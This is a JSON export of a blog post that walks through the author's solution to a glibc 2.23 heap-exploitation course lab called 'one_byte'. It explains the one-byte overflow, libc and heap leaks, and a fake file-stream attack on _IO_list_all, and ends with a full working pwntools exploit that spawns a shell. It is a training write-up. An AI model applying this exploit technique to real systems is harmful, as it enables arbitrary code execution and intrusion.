{"id":93,"date":"2021-03-14T22:05:06","date_gmt":"2021-03-14T22:05:06","guid":{"rendered":"https:\/\/blog.bpcspace.com\/?p=93"},"modified":"2024-12-09T00:16:23","modified_gmt":"2024-12-09T00:16:23","slug":"one_byte-in-progress","status":"publish","type":"post","link":"https:\/\/blog.bpcspace.com\/?p=93","title":{"rendered":"one_byte"},"content":{"rendered":"\n<p class=\"has-large-font-size\"><strong>Ramblings<\/strong><\/p>\n\n\n\n<p>A while back I took an <a href=\"https:\/\/www.udemy.com\/course\/linux-heap-exploitation-part-1\/\">online class on glibc&#8217;s heap<\/a>. It&#8217;s taught by Max Kamper, the same guy who did <a href=\"https:\/\/ropemporium.com\/\">ROP emporium<\/a>, who is an amazing teacher. I&#8217;d highly recommend this class if you&#8217;re interested in the glibc heap, or how heaps work in general. The last challenge of part one took me a while, but I managed to do it without resorting to the provided solution. While Kamper does cover how the exploit works in his class, I thought it&#8217;d be fun to write about, especially because it&#8217;s one of the most complex exploits I&#8217;ve done without help.<\/p>\n\n\n\n<p class=\"has-large-font-size\"><strong>Recon<\/strong><\/p>\n\n\n\n<p>First, let&#8217;s get some basic info on the binary. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1222\" height=\"137\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-28.png\" alt=\"Binary security features and linked dynamic libraries\" class=\"wp-image-94\" style=\"width:1013px;height:113px\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-28.png 1222w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-28-300x34.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-28-1024x115.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-28-768x86.png 768w\" sizes=\"auto, (max-width: 1222px) 100vw, 1222px\" \/><\/figure>\n<\/div>\n\n\n<p>The binary has read-only relocations, stack canaries, no-execute bits, and is position independent. This wasn&#8217;t a suprise; this is a class learning to exploit the heap. However it <em>does<\/em> mean that we&#8217;ll need a libc leak, as well as a heap leak (I&#8217;ll get into why later). <\/p>\n\n\n\n<p>There is one glaring issue: notice the glibc version. It&#8217;s 2.23. When older versions of glibc abort due to security concerns, it will close all files before aborting. This includes <code>STDIN<\/code> and <code>STDOUT<\/code>, which are always present. Keep this in mind.<\/p>\n\n\n\n<p>Actually running the binary, we see that we can allocate up to 16 equally sized chunks, free them, edit them, and quit. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"303\" height=\"154\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-29.png\" alt=\"Prompt of running Binary\" class=\"wp-image-96\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-29.png 303w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-29-300x152.png 300w\" sizes=\"auto, (max-width: 303px) 100vw, 303px\" \/><\/figure>\n<\/div>\n\n\n<p>If we use <code>ltrace<\/code>, we find this program uses <code>calloc<\/code>, which simply clears chunks after using <code>malloc<\/code> to allocate them. We can also see that all chunks are sized 0x60.<\/p>\n\n\n\n<p>If we edit a chunk and attempt a buffer overflow, we&#8217;ll find the bug. We overflow exactly one byte into the next chunk, overwriting the size field.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"821\" height=\"220\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-30.png\" alt=\"Dumping the Heap\" class=\"wp-image-97\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-30.png 821w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-30-300x80.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-30-768x206.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-large-font-size\"><strong>Concepts<\/strong><\/p>\n\n\n\n<p>Here&#8217;s a quick explanation of what we&#8217;ll need to know for this exploit. This assumes that you already know a bit about the heap, although you may be able to understand it regardless. I don&#8217;t want this blog to become too long, so I&#8217;ll keep it brief. If you&#8217;d like me to go into more detail, let me know.<\/p>\n\n\n\n<p><strong>Unsortedbins and partial unlinks<\/strong><\/p>\n\n\n\n<p>When a chunk to be freed isn&#8217;t <code>mmap<\/code>ed, can&#8217;t be consolidated forwards or backwards, and is too big for fastbins, it is moved to the unsortedbin. The unsortedbin is a doubly linked list of unsorted free chunks. After malloc checks the fastbins and smallbins, it will resort to the unsortedbin to find a chunk of the exact desired size, with a few exceptions mentioned later. When it finds that a free chunk is the wrong size, malloc will preform a partial unlink, then sort the chunk into the respective bin. When malloc finds an appropriate chunk, it will stop sorting the unsorted bin, then unlink and allocate the chunk.<\/p>\n\n\n\n<p>When glibc unlinks an unsortedbin, it writes the address of the main arena&#8217;s unsortedbin to the chunk pointed by the victim&#8217;s backwards pointer. <strong>It does this without any immediate security checks.<\/strong><\/p>\n\n\n\n<p><strong>Remaindering<\/strong><\/p>\n\n\n\n<p>In some cases, glibc will split (&#8220;remainder&#8221;) a free chunk to allocate the right size chunk. Malloc allocates the higher of the chunk (closest to the metadata). Malloc remainders the chunk if it&#8217;s the last entry in the unsortedbin <em>and<\/em> in the <code>last_remainder<\/code> field of the heap arena, or if it&#8217;s found in the binmap. When a chunk is remaindered, it&#8217;s put into the <code>last_remainder<\/code> field of the arena.<\/p>\n\n\n\n<p><strong>File Streams<\/strong><\/p>\n\n\n\n<p>To make things easier for programmers, glibc handles files through a struct that contains a lot of information. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ file: glibc\/libio\/libioP.h\nstruct _IO_FILE_plus\n{\n  FILE file;\n  const struct _IO_jump_t *vtable;\n};<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ file: glibc\/libio\/bits\/types\/struct_FILE.h\nstruct _IO_FILE\n{\n  int _flags;                \/* High-order word is _IO_MAGIC; rest is flags. *\/\n  \/* The following pointers correspond to the C++ streambuf protocol. *\/\n  char *_IO_read_ptr;        \/* Current read pointer *\/\n  char *_IO_read_end;        \/* End of get area. *\/\n  char *_IO_read_base;        \/* Start of putback+get area. *\/\n  char *_IO_write_base;        \/* Start of put area. *\/\n  char *_IO_write_ptr;        \/* Current put pointer. *\/\n  char *_IO_write_end;        \/* End of put area. *\/\n  char *_IO_buf_base;        \/* Start of reserve area. *\/\n  char *_IO_buf_end;        \/* End of reserve area. *\/\n  \/* The following fields are used to support backing up and undo. *\/\n  char *_IO_save_base; \/* Pointer to start of non-current get area. *\/\n  char *_IO_backup_base;  \/* Pointer to first valid character of backup area *\/\n  char *_IO_save_end; \/* Pointer to end of non-current get area. *\/\n  struct _IO_marker *_markers;\n  struct _IO_FILE *_chain;\n  int _fileno;\n  int _flags2;\n  __off_t _old_offset; \/* This used to be _offset but it's too small.  *\/\n  unsigned short _cur_column;\n  signed char _vtable_offset;\n  char _shortbuf&#91;1];\n  _IO_lock_t *_lock;\n};<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ file: glibc\/libio\/libioP.h\nstruct _IO_jump_t\n{\n    JUMP_FIELD(size_t, __dummy);\n    JUMP_FIELD(size_t, __dummy2);\n    JUMP_FIELD(_IO_finish_t, __finish);\n    JUMP_FIELD(_IO_overflow_t, __overflow);\n    JUMP_FIELD(_IO_underflow_t, __underflow);\n    JUMP_FIELD(_IO_underflow_t, __uflow);\n    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);\n    \/* showmany *\/\n    JUMP_FIELD(_IO_xsputn_t, __xsputn);\n    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);\n    JUMP_FIELD(_IO_seekoff_t, __seekoff);\n    JUMP_FIELD(_IO_seekpos_t, __seekpos);\n    JUMP_FIELD(_IO_setbuf_t, __setbuf);\n    JUMP_FIELD(_IO_sync_t, __sync);\n    JUMP_FIELD(_IO_doallocate_t, __doallocate);\n    JUMP_FIELD(_IO_read_t, __read);\n    JUMP_FIELD(_IO_write_t, __write);\n    JUMP_FIELD(_IO_seek_t, __seek);\n    JUMP_FIELD(_IO_close_t, __close);\n    JUMP_FIELD(_IO_stat_t, __stat);\n    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);\n    JUMP_FIELD(_IO_imbue_t, __imbue);\n};<\/code><\/pre>\n\n\n\n<p>As earlier mentioned, glibc will close file streams as the program exits, even if it aborts. To do this, it follows the <code>_chain<\/code> pointer of each file. If the file needs to be flushed, it will do so by calling the overflow function specified in the struct&#8217;s vtable. Glibc&#8217;s file chain is named <code>_IO_list_all<\/code>. To find if the file needs to be flushed, the following test is preformed:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ file: glibc\/libio\/genops.c\n      if (((fp-&gt;_mode &lt;= 0 &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)\n           || (_IO_vtable_offset (fp) == 0\n               &amp;&amp; fp-&gt;_mode &gt; 0 &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr\n                                    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))\n           )\n          &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)\n        result = EOF;<\/code><\/pre>\n\n\n\n<p><strong>Fastbins<\/strong><\/p>\n\n\n\n<p>If you know anything about the heap, you likely already know about fastbins. They&#8217;re doubly linked chunks, ranging from 0x20-0xb0. Each fastbin has it&#8217;s own size at intervals of 16. When fastbins are unlinked, glibc does a size check to make sure the forward and backward chunks are really in the correct fastbin.<\/p>\n\n\n\n<p class=\"has-large-font-size\"><strong>Exploit<\/strong><\/p>\n\n\n\n<p><strong>Leaking libc<\/strong><\/p>\n\n\n\n<p>If we want to get anywhere, we&#8217;ll need to leak the libc address. When an unsortedbin is freed, if it&#8217;s the only one, it&#8217;s forward and backward pointers will both point to the main arena. So if we can somehow print a free unsorted chunk, we can calculate the offset to get libc&#8217;s base address. In this situation, we can leak chunks by overwriting the size field (using the one-byte overflow) to overlap an allocated chunk, and then freeing. In this process, the enlarged chunk will first be sorted into the 0xc0 smallbin, the binmap bit will be set, then malloc will find it later in the binmap and remainder it.  <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1456\" height=\"1080\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/libc_leak.gif\" alt=\"\" class=\"wp-image-121\"\/><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"901\" height=\"547\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-31.png\" alt=\"\" class=\"wp-image-104\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-31.png 901w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-31-300x182.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-31-768x466.png 768w\" sizes=\"auto, (max-width: 901px) 100vw, 901px\" \/><figcaption class=\"wp-element-caption\">The green chunk leaks libc<\/figcaption><\/figure>\n<\/div>\n\n\n<p><strong>Leaking the heap<\/strong><\/p>\n\n\n\n<p>What we did last does more then leak libc &#8211; we can allocate a chunk twice. We can first allocate the new chunk, which overlaps a chunk we&#8217;ve already obtained. Then we free the first chunk, adding it to fastbins. We can free the chunk we just obtained from the split chunk, and because it overlaps a chunk we allocated beforehand, we can leak the heap.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1456\" height=\"1080\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/heap_leak-2.gif\" alt=\"\" class=\"wp-image-123\"\/><figcaption class=\"wp-element-caption\">I&#8217;m never going to animate again<\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"889\" height=\"544\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-32.png\" alt=\"\" class=\"wp-image-105\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-32.png 889w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-32-300x184.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-32-768x470.png 768w\" sizes=\"auto, (max-width: 889px) 100vw, 889px\" \/><figcaption class=\"wp-element-caption\">Again, the same chunk will leak the heap.<\/figcaption><\/figure>\n<\/div>\n\n\n<p><strong>Considerations before overwriting _IO_list_all<\/strong><\/p>\n\n\n\n<p>Sweet, so now we&#8217;ve leaked the heap. We can now leverage the unsortedbin partial unlink to overwrite the pointer to <code>_IO_list_all<\/code>. But before jumping right into it, there&#8217;s a few problems. First of all, when we free a 0x60 sized chunk, it will be sorted into the fastbin, meaning we can&#8217;t use it for an unsortedbin partial unlink attack. This is easy to fix, we can just modify the size. Second, when we <em>do<\/em> overwrite the pointer to <code>_IO_list_all<\/code>, we make the first _chain entry to point to the heap arena&#8217;s unsortedbin. We can count the offset to see what part of the main arena we need to control to overlap _chain:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"436\" height=\"49\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-35.png\" alt=\"\" class=\"wp-image-109\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-35.png 436w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-35-300x34.png 300w\" sizes=\"auto, (max-width: 436px) 100vw, 436px\" \/><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"449\" height=\"204\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-33.png\" alt=\"\" class=\"wp-image-107\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-33.png 449w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-33-300x136.png 300w\" sizes=\"auto, (max-width: 449px) 100vw, 449px\" \/><\/figure>\n<\/div>\n\n\n<p>The <code>_chain<\/code> pointer would point to the 0x60 smallbin. But, when we free a chunk of that size, it&#8217;ll go right to the fastbin. There&#8217;s ways to avoid this, but it involves freeing the top chunk and creating a new arena, which isn&#8217;t possible in this binary. Something that may be of interest are the other fields of the fake file struct:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"660\" height=\"543\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-36.png\" alt=\"\" class=\"wp-image-110\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-36.png 660w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-36-300x247.png 300w\" sizes=\"auto, (max-width: 660px) 100vw, 660px\" \/><\/figure>\n<\/div>\n\n\n<p><code>_IO_write_base<\/code> and <code>_IO_write_ptr<\/code> are the same. While we can&#8217;t control this, we know it will always be true because of how the arena is structured; the smallbins are pairs of pointers that point forward and backwards to smallbins, and when there are none, they both point to themselves. Looking at <code>genops.c<\/code>, we see that this fake file stream will never be flushed. The next fake file in the chain has it&#8217;s chain overlapping the 0xb0 smallbin, which we can free into much more easily.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"496\" height=\"324\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-38.png\" alt=\"\" class=\"wp-image-112\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-38.png 496w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-38-300x196.png 300w\" sizes=\"auto, (max-width: 496px) 100vw, 496px\" \/><\/figure>\n<\/div>\n\n\n<p>Once we free into the 0xb0 fastbin and overwrite _IO_list_all with main_arena&#8217;s unsortedbin, the program will decide not to flush the first file. It will follow the chain, which will also not be flushed. It will follow the third chain after that, which we&#8217;ve made a pointer to our heap. Because we have (good enough) control of our heap, we can satisfy glibc&#8217;s tests so that the file flushes. Seeing that the file needs to be flushed, glibc will look at the heap for a vtable pointer, which we can set anywhere else on our heap thanks to our heap leak. Glibc will then call <code>_IO_OVERFLOW()<\/code>, found in our fake vtable, which we can set to <code>system()<\/code>. The argument will be the data inside our fake file stream, which we can begin with <code>b\"\/bin\/sh\\0\"<\/code>. Putting these things together, we should be able to call <code>system(\"\/bin\/sh\")<\/code>!<\/p>\n\n\n\n<p><strong>Overwriting _IO_list_all<\/strong><\/p>\n\n\n\n<p>We&#8217;ll start by re-allocating the two fastbins. Remember the green chunk is still allocated twice. We&#8217;ll then add a 0x71 at the bottom of the dark blue chunk so that when we enlarge the green one, it&#8217;s size will extend to the top chunk, preventing failed security checks. Then we resize it with an overflow, then free it. It&#8217;s now in the unsorted bins. We&#8217;ll edit the heap to get our fake file stream ready. We&#8217;ll then malloc one last time, which will sort our 0xb0 into it&#8217;s respective smallbin, preforming the partial unlink. Malloc will attempt to split the chunk when it rediscovers it in the binmap, but it will abort due to a failed size check of the smallbin. The program aborts, it will follow the <code>IO_list_all._chain<\/code> to our heap, call our fake overflow entry, and we&#8217;ll have a shell!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1205\" height=\"975\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-39.png\" alt=\"\" class=\"wp-image-115\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-39.png 1205w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-39-300x243.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-39-1024x829.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-39-768x621.png 768w\" sizes=\"auto, (max-width: 1205px) 100vw, 1205px\" \/><\/figure>\n<\/div>\n\n\n<p> Full working exploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/python3\nfrom pwn import *\n\nelf = context.binary = ELF(\"one_byte\")\ncontext.terminal = &#91;'kitty', 'bash', '-c'] \n\n\n# fixing a pwntools bug\nelf.libs&#91;'..\/.glibc\/glibc_2.23\/libc.so.6'] = 0\n\nlibc = elf.libc\n\ngs = '''\ncontinue\n'''\n# content below provided by heap lab \n# =============================================================================\n\ndef start():\n    if args.GDB:\n        return gdb.debug(elf.path, gdbscript=gs)\n    else:\n        return process(elf.path)\n\n# Index of allocated chunks.\nindex = 0\n\n# Select the \"malloc\" option.\n# Returns chunk index.\ndef malloc():\n    global index\n    io.sendthen(\"&gt; \", \"1\")\n    index += 1\n    #input(\"enter to continue after malloc\")\n    return index - 1\n\n# Select the \"free\" option; send index.\ndef free(index):\n    io.send(\"2\")\n    io.sendafter(\"index: \", f\"{index}\")\n    #input(\"enter to continue after free\")\n    io.recvuntil(\"&gt; \")\n\n# Select the \"edit\" option; send index &amp; data.\ndef edit(index, data):\n    io.send(\"3\")\n    io.sendafter(\"index: \", f\"{index}\")\n    io.sendafter(\"data: \", data)\n    io.recvuntil(\"&gt; \")\n\n# Select the \"read\" option; read 0x58 bytes.\ndef read(index):\n    io.send(\"4\")\n    io.sendafter(\"index: \", f\"{index}\")\n    r = io.recv(0x58)\n    io.recvuntil(\"&gt; \")\n    return r\n\nio = start()\nio.recvuntil(\"&gt; \")\nio.timeout = 0.1\n# =============================================================================\n# end of provided heap lab content\n\ncyan = malloc()\npurple = malloc()\ngreen = malloc()\nblue = malloc()\nyellow = malloc()\n\nedit(cyan, b'\\0'*0x58 + p64(0xc1))    # make it consume the other chunk\nfree(purple)                            # malloc will think that chunk2 is part of this\npurple = malloc()\n\nleak = u64(read(green)&#91;:8])\nlibc.address = leak - (libc.sym.main_arena + 88)\n\ngreen_1 = malloc()\nfree(cyan)\nfree(green)\nheap_addr = u64(read(green_1)&#91;:8])\n\nprint(\"heap addr:\\t{}\\nlibc addr:\\t{}\".format(hex(heap_addr), hex(libc.address)))\n\n\ngreen_2 = malloc()\ncyan = malloc() # getting rid of fastbin\nedit(blue, b'\\0'*0x48 + p64(0x71))\nedit(purple, b'\\0'*0x50 + b'\/bin\/sh\\0' + p64(0xb1))\nfree(green_2)\n\nedit(green_1, b'\\0'*0x8 + p64(libc.sym._IO_list_all-16) + p64(0) + p64(1))\nedit(yellow, b'\\0' * 0x8 + p64(heap_addr))\nedit(cyan, b'\\0'*0x8 + p64(libc.sym.system))\n\nmalloc()\n\nio.interactive()\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Ramblings A while back I took an online class on glibc&#8217;s heap. It&#8217;s taught by Max Kamper, the same guy who did ROP emporium, who is an amazing teacher. I&#8217;d highly recommend this class if you&#8217;re interested in the glibc heap, or how heaps work in general. The last challenge of part one took me [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"templates\/template-full-width.php","format":"standard","meta":{"footnotes":""},"categories":[2,4],"tags":[],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-advanced","category-glibc-heap"],"_links":{"self":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=93"}],"version-history":[{"count":1,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/93\/revisions\/162"}],"wp:attachment":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}